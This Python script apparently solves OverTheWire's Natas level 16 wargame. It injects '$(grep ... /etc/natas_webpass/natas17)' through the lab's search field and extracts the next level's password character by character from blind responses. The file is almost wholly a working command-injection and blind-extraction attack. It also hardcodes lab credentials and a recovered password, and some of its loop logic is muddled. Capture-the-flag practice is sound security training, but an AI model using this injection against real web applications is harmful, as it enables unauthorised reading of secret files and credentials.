import re
import requests
import string
from itertools import permutations

username = 'natas16'
password = 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'

url = 'http://natas16.natas.labs.overthewire.org/'

alphabets = string.ascii_uppercase + string.ascii_lowercase + string.digits
sets = list('AGHNPQSWbcdghkmnqrsw035789')
blind = ''
bigstuff = ['s3H0GWbn5rd9S7GmAdgQNdkhPkq9cw'] + sets
biggg = []

for i in range(len(bigstuff)):

  interest = bigstuff[i]
  prev = interest
  for j in range(len(sets)):
    char = sets[j]
    query = 'somethings$(grep ' + char + interest + ' /etc/natas_webpass/natas17)'
    payload = {'needle':query}
    r = requests.post(url, auth=(username, password), data=payload)

    #print('Trying : ' + interest + char)
    if not re.findall('somethings', r.text):
      interest = char + interest
      bigstuff[i] = char + interest
      j = j-1

  if prev != interest:
    query = 'somethings$(grep ' + interest + ' /etc/natas_webpass/natas17)'
    payload = {'needle':query}
    r = requests.post(url, auth=(username, password), data=payload)
    if not re.findall('somethings', r.text):
      biggg.append(interest)
  print('Bigstuff: ' + str(biggg))


print('Final Bigstuff: ' + str(biggg) + ' and length is ' + str(len(biggg)))


final_answer = '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw'